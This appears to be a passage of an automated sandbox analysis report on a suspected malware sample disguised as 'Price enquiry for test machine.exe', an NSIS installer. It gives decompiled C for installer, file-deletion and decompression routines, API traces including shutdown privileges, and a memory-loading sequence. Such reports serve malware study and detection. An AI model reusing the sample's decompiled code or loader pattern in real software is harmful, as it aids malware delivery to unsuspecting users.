				E00405EBA(_t118); // executed
				_t118 =  &(_t118[lstrlenA(_t118) + 1]);
				if( *_t118 != 0) {
					goto L4;
				} else {
					E00405F28(0xd);
					_t47 = E00405F28(0xb);
					 *0x423f44 = _t47;
					__imp__#17();
					__imp__OleInitialize(0); // executed
					 *0x423ff8 = _t47;
					SHGetFileInfoA(0x41f4f0, 0, _t129 + 0x38, 0x160, 0); // executed
					E00405B98("uxxyribzeom Setup", "NSIS Error");
					_t51 = GetCommandLineA();
					_t125 = "\"C:\\Users\\hardz\\Desktop\\Price enquiry for test machine.exe\" ";
					E00405B98(_t125, _t51);
					 *0x423f40 = GetModuleHandleA(0);
					_t54 = _t125;
					if("\"C:\\Users\\hardz\\Desktop\\Price enquiry for test machine.exe\" " == 0x22) {
						 *((char*)(_t129 + 0x14)) = 0x22;
						_t54 =  &M0042A001;
					}
					_t56 = CharNextA(E004056B6(_t54,  *((intOrPtr*)(_t129 + 0x14))));
					 *(_t129 + 0x20) = _t56;
					goto L22;
				}
			}

0x0040310c
0x00403110
0x00403118
0x0040311c
0x00403121
0x00403131
0x00403134
0x0040313b
0x00403142
0x00403142
0x0040313b
0x00403144
0x00403144
0x0040325a
0x0040325a
0x0040325a
0x0040325c
0x0040325e
0x00000000
0x00000000
0x004031f3
0x004031f6
0x004031fe
0x004031fe
0x00403201
0x00403206
0x00403208
0x00403208
0x00403209
0x00403209
0x0040320e
0x00403211
0x0040324a
0x0040324f
0x00403254
0x00403257
0x00403259
0x00403259
0x00403259
0x00000000
0x00403213
0x00403213
0x00403214
0x00403217
0x0040321f
0x00403222
0x00403224
0x00403224
0x00403224
0x00403224
0x00403222
0x00403229
0x0040322f
0x00403237
0x0040323a
0x0040323c
0x0040323c
0x0040323c
0x0040323c
0x0040323a
0x00403241
0x00403248
0x00403262
0x00403265
0x00403265
0x0040326e
0x00403273
0x00403273
0x0040327e
0x00403284
0x00403289
0x0040328b
0x004032b1
0x004032b6
0x004032c0
0x004032c7
0x004032cb
0x00403332
0x00403332
0x00403337
0x0040333d
0x00403341
0x00403456
0x0040345c
0x004034f9
0x004034f9
0x004034fe
0x00403501
0x00403503
0x00403503
0x0040350b
0x0040350b
0x0040346b
0x00403474
0x00403476
0x0040347b
0x0040347d
0x0040347f
0x00403481
0x00403483
0x00403485
0x00403487
0x00403497
0x00403499
0x0040349b
0x004034a8
0x004034b7
0x004034bf
0x004034c7
0x004034c7
0x0040349b
0x00403487
0x00403483
0x004034cb
0x004034d0
0x004034d7
0x004034e5
0x004034e8
0x004034ee
0x004034f0
0x00000000
0x00000000
0x00000000
0x004034d9
0x004034df
0x004034e1
0x004034e3
0x004034f2
0x004034f4
0x00000000
0x004034f4
0x00000000
0x004034e3
0x004034d7
0x00403350
0x00403357
0x00403357
0x004032cd
0x004032d3
0x00403322
0x00403322
0x0040332e
0x00000000
0x0040332e
0x004032dc
0x004032e9
0x004032e0
0x004032e6
0x00000000
0x00000000
0x004032e8
0x004032e8
0x004032e8
0x004032ed
0x004032ef
0x004032f7
0x00403368
0x0040336a
0x00403371
0x00403379
0x00403379
0x00403384
0x00403389
0x00403398
0x0040339c
0x0040339d
0x004033a6
0x0040339f
0x0040339f
0x0040339f
0x004033ac
0x004033b2
0x004033b8
0x004033c0
0x004033c0
0x004033ce
0x004033d5
0x004033de
0x004033e4
0x004033e4
0x004033f0
0x004033f6
0x00403400
0x0040340a
0x00403410
0x00403412
0x00403414
0x00403415
0x00403416
0x0040341b
0x00403427
0x0040342d
0x00403434
0x00403437
0x0040343d
0x0040343d
0x00403434
0x00403412
0x00403441
0x00403447
0x00403447
0x00403447
0x0040344a
0x0040344b
0x0040344c
0x0040344c
0x00000000
0x00403398
0x004032f9
0x004032fb
0x00403306
0x00000000
0x00000000
0x0040330e
0x00403319
0x0040331e
0x00000000
0x0040331e
0x00403293
0x0040329f
0x004032a4
0x004032a9
0x004032ab
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00403248
0x00000000
0x00000000
0x00000000
0x004031f8
0x004031f8
0x004031f8
0x004031f9
0x004031f9
0x00000000
0x004031f8
0x00000000
0x00403149
0x0040314a
0x00403156
0x0040315c
0x00000000
0x0040315e
0x00403160
0x00403167
0x0040316c
0x00403171
0x00403178
0x0040317e
0x00403194
0x004031a4
0x004031a9
0x004031af
0x004031b6
0x004031c9
0x004031ce
0x004031d0
0x004031d2
0x004031d7
0x004031d7
0x004031e7
0x004031ed
0x00000000
0x004031ed

APIs

SetErrorMode.KERNELBASE ref: 00403121
GetVersion.KERNEL32 ref: 00403127
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403150
#17.COMCTL32(0000000B,0000000D), ref: 00403171
OleInitialize.OLE32(00000000), ref: 00403178
SHGetFileInfoA.SHELL32(0041F4F0,00000000,?,00000160,00000000), ref: 00403194
GetCommandLineA.KERNEL32(uxxyribzeom Setup,NSIS Error), ref: 004031A9
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\Price enquiry for test machine.exe" ,00000000), ref: 004031BC
CharNextA.USER32(00000000,"C:\Users\user\Desktop\Price enquiry for test machine.exe" ,00409168), ref: 004031E7
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 0040327E
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 00403293
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040329F
DeleteFileA.KERNELBASE(1033), ref: 004032B6

Part of subcall function 00405F28: GetModuleHandleA.KERNEL32(?,?,?,00403165,0000000D), ref: 00405F3A
Part of subcall function 00405F28: GetProcAddress.KERNEL32(00000000,?), ref: 00405F55

OleUninitialize.OLE32(00000020), ref: 00403337
ExitProcess.KERNEL32 ref: 00403357
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Price enquiry for test machine.exe" ,00000000,00000020), ref: 0040336A
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00409148,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Price enquiry for test machine.exe" ,00000000,00000020), ref: 00403379
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Price enquiry for test machine.exe" ,00000000,00000020), ref: 00403384
lstrcmpiA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Price enquiry for test machine.exe" ,00000000,00000020), ref: 00403390
SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 004033AC
DeleteFileA.KERNEL32(0041F0F0,0041F0F0,?,00425000,?), ref: 004033F6
CopyFileA.KERNEL32(C:\Users\user\Desktop\Price enquiry for test machine.exe,0041F0F0,00000001), ref: 0040340A
CloseHandle.KERNEL32(00000000,0041F0F0,0041F0F0,?,0041F0F0,00000000), ref: 00403437
GetCurrentProcess.KERNEL32(00000028,?,00000007,00000006,00000005), ref: 00403490
ExitWindowsEx.USER32(00000002,80040002), ref: 004034E8
ExitProcess.KERNEL32 ref: 0040350B

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00403269, 00403309, 004033B2, 004033BB
C:\Users\user\AppData\Local\Temp, xrefs: 00403314
\Temp, xrefs: 00403299
C:\Users\user\AppData\Local\Temp\, xrefs: 00403273, 00403278, 00403292, 0040329E, 00403367, 00403378, 00403383, 0040338F, 0040339C, 004033AB, 0040344B
1033, xrefs: 004032B1
UXTHEME, xrefs: 00403144, 00403149, 0040314F
SeShutdownPrivilege, xrefs: 004034A2
.tmp, xrefs: 0040337E
NCRC, xrefs: 00403229
", xrefs: 00403209
uxxyribzeom Setup, xrefs: 0040319F
"C:\Users\user\Desktop\Price enquiry for test machine.exe" , xrefs: 004031AF, 004031B5, 004032D6
C:\Users\user\Desktop\Price enquiry for test machine.exe, xrefs: 00403405
C:\Users\user\Desktop, xrefs: 00403389, 0040338E, 004033BA
_?=, xrefs: 004032E0
NSIS Error, xrefs: 0040319A
/D=, xrefs: 00403241
, xrefs: 0040311C
Error launching installer, xrefs: 004032EF
~nsu, xrefs: 00403362

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Filelstrcat$ExitHandleProcess$CurrentDeleteDirectoryModuleWindows$AddressCharCloseCommandCopyErrorInfoInitializeLineModeNextPathProcTempUninitializeVersionlstrcmpilstrlen
String ID: $ /D=$ _?=$"$"C:\Users\user\Desktop\Price enquiry for test machine.exe" $.tmp$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Price enquiry for test machine.exe$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$UXTHEME$\Temp$uxxyribzeom Setup$~nsu
API String ID: 3469842172-928303405
Opcode ID: c205237f53a57e9789d4fc795fe9e6243dae0da3a8597aae026d19c88162d9a0
Instruction ID: 90ec7ab760c3480979c70ff1213755fd4c015a14bcf9795d8db5e914811e335b
Opcode Fuzzy Hash: c205237f53a57e9789d4fc795fe9e6243dae0da3a8597aae026d19c88162d9a0
Instruction Fuzzy Hash: E5A10470A083016BE7216F619C4AB2B7EACEB0170AF40457FF544B61D2C77CAA458B6F

Uniqueness

Uniqueness Score: -1.00%

Function 004054BD, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156
filestringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E004054BD(void* __ebx, void* __eflags, void* _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				struct _WIN32_FIND_DATAA _v332;
				signed int _t37;
				char* _t49;
				signed int _t52;
				signed int _t55;
				signed int _t61;
				signed int _t63;
				void* _t65;
				signed int _t68;
				CHAR* _t70;
				CHAR* _t72;
				char* _t75;

				_t72 = _a4;
				_t37 = E0040576C(__eflags, _t72);
				_v12 = _t37;
				if((_a8 & 0x00000008) != 0) {
					_t63 = DeleteFileA(_t72); // executed
					asm("sbb eax, eax");
					_t65 =  ~_t63 + 1;
					 *0x423fc8 =  *0x423fc8 + _t65;
					return _t65;
				}
				_t68 = _a8 & 0x00000001;
				__eflags = _t68;
				_v8 = _t68;
				if(_t68 == 0) {
					L5:
					E00405B98(0x421540, _t72);
					__eflags = _t68;
					if(_t68 == 0) {
						E004056D2(_t72);
					} else {
						lstrcatA(0x421540, "\*.*");
					}
					__eflags =  *_t72;
					if( *_t72 != 0) {
						L10:
						lstrcatA(_t72, 0x409010);
						L11:
						_t70 =  &(_t72[lstrlenA(_t72)]);
						_t37 = FindFirstFileA(0x421540,  &_v332);
						__eflags = _t37 - 0xffffffff;
						_a4 = _t37;
						if(_t37 == 0xffffffff) {
							L29:
							__eflags = _v8;
							if(_v8 != 0) {
								_t31 = _t70 - 1;
								 *_t31 =  *(_t70 - 1) & 0x00000000;
								__eflags =  *_t31;
							}
							goto L31;
						} else {
							goto L12;
						}
						do {
							L12:
							_t75 =  &(_v332.cFileName);
							_t49 = E004056B6( &(_v332.cFileName), 0x3f);
							__eflags =  *_t49;
							if( *_t49 != 0) {
								__eflags = _v332.cAlternateFileName;
								if(_v332.cAlternateFileName != 0) {
									_t75 =  &(_v332.cAlternateFileName);
								}
							}
							__eflags =  *_t75 - 0x2e;
							if( *_t75 != 0x2e) {
								L19:
								E00405B98(_t70, _t75);
								__eflags = _v332.dwFileAttributes & 0x00000010;
								if((_v332.dwFileAttributes & 0x00000010) == 0) {
									E00405850(_t72);
									_t52 = DeleteFileA(_t72);
									__eflags = _t52;
									if(_t52 != 0) {
										E00404E84(0xfffffff2, _t72);
									} else {
										__eflags = _a8 & 0x00000004;
										if((_a8 & 0x00000004) == 0) {
											 *0x423fc8 =  *0x423fc8 + 1;
										} else {
											E00404E84(0xfffffff1, _t72);
											E004058E6(__eflags, _t72, 0);
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E004054BD(_t70, __eflags, _t72, _a8);
									}
								}
								goto L27;
							}
							_t61 =  *((intOrPtr*)(_t75 + 1));
							__eflags = _t61;
							if(_t61 == 0) {
								goto L27;
							}
							__eflags = _t61 - 0x2e;
							if(_t61 != 0x2e) {
								goto L19;
							}
							__eflags =  *((char*)(_t75 + 2));
							if( *((char*)(_t75 + 2)) == 0) {
								goto L27;
							}
							goto L19;
							L27:
							_t55 = FindNextFileA(_a4,  &_v332);
							__eflags = _t55;
						} while (_t55 != 0);
						_t37 = FindClose(_a4);
						goto L29;
					}
					__eflags =  *0x421540 - 0x5c;
					if( *0x421540 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t37;
					if(_t37 == 0) {
						L31:
						__eflags = _v8;
						if(_v8 == 0) {
							L39:
							return _t37;
						}
						__eflags = _v12;
						if(_v12 != 0) {
							_t37 = E00405E93(_t72);
							__eflags = _t37;
							if(_t37 == 0) {
								goto L39;
							}
							E0040568B(_t72);
							E00405850(_t72);
							_t37 = RemoveDirectoryA(_t72);
							__eflags = _t37;
							if(_t37 != 0) {
								return E00404E84(0xffffffe5, _t72);
							}
							__eflags = _a8 & 0x00000004;
							if((_a8 & 0x00000004) == 0) {
								goto L33;
							}
							E00404E84(0xfffffff1, _t72);
							return E004058E6(__eflags, _t72, 0);
						}
						L33:
						 *0x423fc8 =  *0x423fc8 + 1;
						return _t37;
					}
					__eflags = _a8 & 0x00000002;
					if((_a8 & 0x00000002) == 0) {
						goto L31;
					}
					goto L5;
				}
			}

0x004054c8
0x004054cc
0x004054d5
0x004054d8
0x004054db
0x004054e3
0x004054e5
0x004054e6
0x00000000
0x004054e6
0x004054f5
0x004054f5
0x004054f8
0x004054fb
0x0040550f
0x00405516
0x0040551b
0x0040551d
0x0040552d
0x0040551f
0x00405525
0x00405525
0x00405532
0x00405535
0x00405540
0x00405546
0x0040554b
0x0040555b
0x0040555d
0x00405563
0x00405566
0x00405569
0x00405626
0x00405626
0x0040562a
0x0040562c
0x0040562c
0x0040562c
0x0040562c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040556f
0x0040556f
0x00405578
0x0040557e
0x00405583
0x00405586
0x00405588
0x0040558c
0x0040558e
0x0040558e
0x0040558c
0x00405591
0x00405594
0x004055a7
0x004055a9
0x004055ae
0x004055b5
0x004055cd
0x004055d3
0x004055d9
0x004055db
0x00405600
0x004055dd
0x004055dd
0x004055e1
0x004055f5
0x004055e3
0x004055e6
0x004055ee
0x004055ee
0x004055e1
0x004055b7
0x004055bd
0x004055bf
0x004055c5
0x004055c5
0x004055bf
0x00000000
0x004055b5
0x00405596
0x00405599
0x0040559b
0x00000000
0x00000000
0x0040559d
0x0040559f
0x00000000
0x00000000
0x004055a1
0x004055a5
0x00000000
0x00000000
0x00000000
0x00405605
0x0040560f
0x00405615
0x00405615
0x00405620
0x00000000
0x00405620
0x00405537
0x0040553e
0x00000000
0x00000000
0x00000000
0x004054fd
0x004054fd
0x004054ff
0x00405630
0x00405633
0x00405636
0x00405688
0x00405688
0x00405688
0x00405638
0x0040563b
0x00405646
0x0040564b
0x0040564d
0x00000000
0x00000000
0x00405650
0x00405656
0x0040565c
0x00405662
0x00405664
0x00000000
0x00405680
0x00405666
0x0040566a
0x00000000
0x00000000
0x0040566f
0x00000000
0x00405676
0x0040563d
0x0040563d
0x00000000
0x0040563d
0x00405505
0x00405509
0x00000000
0x00000000
0x00000000
0x00405509

APIs

DeleteFileA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,?), ref: 004054DB
lstrcatA.KERNEL32(00421540,\*.*,00421540,?,00000000,?,C:\Users\user\AppData\Local\Temp\,?), ref: 00405525
lstrcatA.KERNEL32(?,00409010,?,00421540,?,00000000,?,C:\Users\user\AppData\Local\Temp\,?), ref: 00405546
lstrlenA.KERNEL32(?,?,00409010,?,00421540,?,00000000,?,C:\Users\user\AppData\Local\Temp\,?), ref: 0040554C
FindFirstFileA.KERNEL32(00421540,?,?,?,00409010,?,00421540,?,00000000,?,C:\Users\user\AppData\Local\Temp\,?), ref: 0040555D
FindNextFileA.KERNEL32(?,00000010,000000F2,?), ref: 0040560F
FindClose.KERNEL32(?), ref: 00405620

Strings

"C:\Users\user\Desktop\Price enquiry for test machine.exe" , xrefs: 004054BD
C:\Users\user\AppData\Local\Temp\, xrefs: 004054C7
\*.*, xrefs: 0040551F

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\Price enquiry for test machine.exe" $C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3571853096
Opcode ID: 151e37dfdb71e49779ebe8013d58079144af5c7b104cf071a6fd2cd1a311b3c4
Instruction ID: 6fea787f5ff7f663b03802bfccf250d7b0f6b6b9ddff8139893414afbc0e0c0d
Opcode Fuzzy Hash: 151e37dfdb71e49779ebe8013d58079144af5c7b104cf071a6fd2cd1a311b3c4
Instruction Fuzzy Hash: D851CE30804A447ACB216B218C49BBF3B78DF92728F54857BF809751D2E73D5982DE5E

Uniqueness

Uniqueness Score: -1.00%

Function 72E46402, Relevance: 10.7, APIs: 7, Instructions: 196filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 72E464DC
VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004,?,?,?,?,?,?,?,?,?,72E4618A,7FC6FA16,72E46349), ref: 72E46506
ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,72E4618A,7FC6FA16), ref: 72E4651D
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?,?,?,?,?,?,?,72E4618A,7FC6FA16,72E46349), ref: 72E4653F
FindCloseChangeNotification.KERNELBASE(00000000,?,?,?,?,?,?,?,?,?,?,72E4618A,7FC6FA16,72E46349,00000000,00000000), ref: 72E465B2
VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,72E4618A,7FC6FA16,72E46349), ref: 72E465BD
VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,72E4618A,7FC6FA16,72E46349,00000000), ref: 72E46608

Memory Dump Source

Source File: 00000000.00000002.290525123.0000000072E46000.00000004.00020000.sdmp, Offset: 72E40000, based on PE: true

Associated: 00000000.00000002.290458874.0000000072E40000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290479341.0000000072E41000.00000020.00020000.sdmp Download File
Associated: 00000000.00000002.290518667.0000000072E45000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290531660.0000000072E48000.00000002.00020000.sdmp Download File

Similarity

API ID: Virtual$AllocFileFree$ChangeCloseCreateFindNotificationRead
String ID:
API String ID: 656311269-0
Opcode ID: af7b555d49f7dab9e8ba194529cc05e2405c0ec283943ac24b372fda9630fd69
Instruction ID: 36660ff05bea4fc1820159027419c0427f3e4b2065c9ca1f15e6dda608a2f685
Opcode Fuzzy Hash: af7b555d49f7dab9e8ba194529cc05e2405c0ec283943ac24b372fda9630fd69
Instruction Fuzzy Hash: FF6180B1F00614ABCB11DFB8D984BAEBBB5AF48714F10D459F606EB394EA349D01CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004061D4, Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E004061D4() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				void* _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t590;
				signed int* _t607;
				void* _t614;

				L0:
				while(1) {
					L0:
					if( *(_t614 - 0x40) != 0) {
						 *(_t614 - 0x34) = 1;
						 *(_t614 - 0x84) = 7;
						_t607 =  *(_t614 - 4) + 0x180 +  *(_t614 - 0x38) * 2;
						L132:
						 *(_t614 - 0x54) = _t607;
						L133:
						_t531 =  *_t607;
						_t590 = _t531 & 0x0000ffff;
						_t565 = ( *(_t614 - 0x10) >> 0xb) * _t590;
						if( *(_t614 - 0xc) >= _t565) {
							 *(_t614 - 0x10) =  *(_t614 - 0x10) - _t565;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) - _t565;
							 *(_t614 - 0x40) = 1;
							_t532 = _t531 - (_t531 >> 5);
							 *_t607 = _t532;
						} else {
							 *(_t614 - 0x10) = _t565;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
							 *_t607 = (0x800 - _t590 >> 5) + _t531;
						}
						if( *(_t614 - 0x10) >= 0x1000000) {
							L139:
							_t533 =  *(_t614 - 0x84);
							L140:
							 *(_t614 - 0x88) = _t533;
							goto L1;
						} else {
							L137:
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 5;
								goto L170;
							}
							 *(_t614 - 0x10) =  *(_t614 - 0x10) << 8;
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						__eax =  *(__ebp - 0x5c) & 0x000000ff;
						__esi =  *(__ebp - 0x60);
						__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
						__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
						__ecx =  *(__ebp - 0x3c);
						__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
						__ecx =  *(__ebp - 4);
						(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
						__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
						__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						if( *(__ebp - 0x38) >= 4) {
							if( *(__ebp - 0x38) >= 0xa) {
								_t97 = __ebp - 0x38;
								 *_t97 =  *(__ebp - 0x38) - 6;
							} else {
								 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
							}
						} else {
							 *(__ebp - 0x38) = 0;
						}
						if( *(__ebp - 0x34) == __edx) {
							__ebx = 0;
							__ebx = 1;
							L60:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t216 = __edx + 1; // 0x1
								__ebx = _t216;
								__cx = __ax >> 5;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L59:
								if(__ebx >= 0x100) {
									goto L54;
								}
								goto L60;
							} else {
								L57:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xf;
									goto L170;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t202 = __ebp - 0x70;
								 *_t202 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L59;
							}
						} else {
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
							}
							__ecx =  *(__ebp - 8);
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
							L40:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L38:
								__eax =  *(__ebp - 0x40);
								if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
									while(1) {
										if(__ebx >= 0x100) {
											break;
										}
										__eax =  *(__ebp - 0x58);
										__edx = __ebx + __ebx;
										__ecx =  *(__ebp - 0x10);
										__esi = __edx + __eax;
										__ecx =  *(__ebp - 0x10) >> 0xb;
										__ax =  *__esi;
										 *(__ebp - 0x54) = __esi;
										__edi = __ax & 0x0000ffff;
										__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
										if( *(__ebp - 0xc) >= __ecx) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
											__cx = __ax;
											_t169 = __edx + 1; // 0x1
											__ebx = _t169;
											__cx = __ax >> 5;
											 *__esi = __ax;
										} else {
											 *(__ebp - 0x10) = __ecx;
											0x800 = 0x800 - __edi;
											0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
											__ebx = __ebx + __ebx;
											 *__esi = __cx;
										}
										 *(__ebp - 0x44) = __ebx;
										if( *(__ebp - 0x10) < 0x1000000) {
											L45:
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
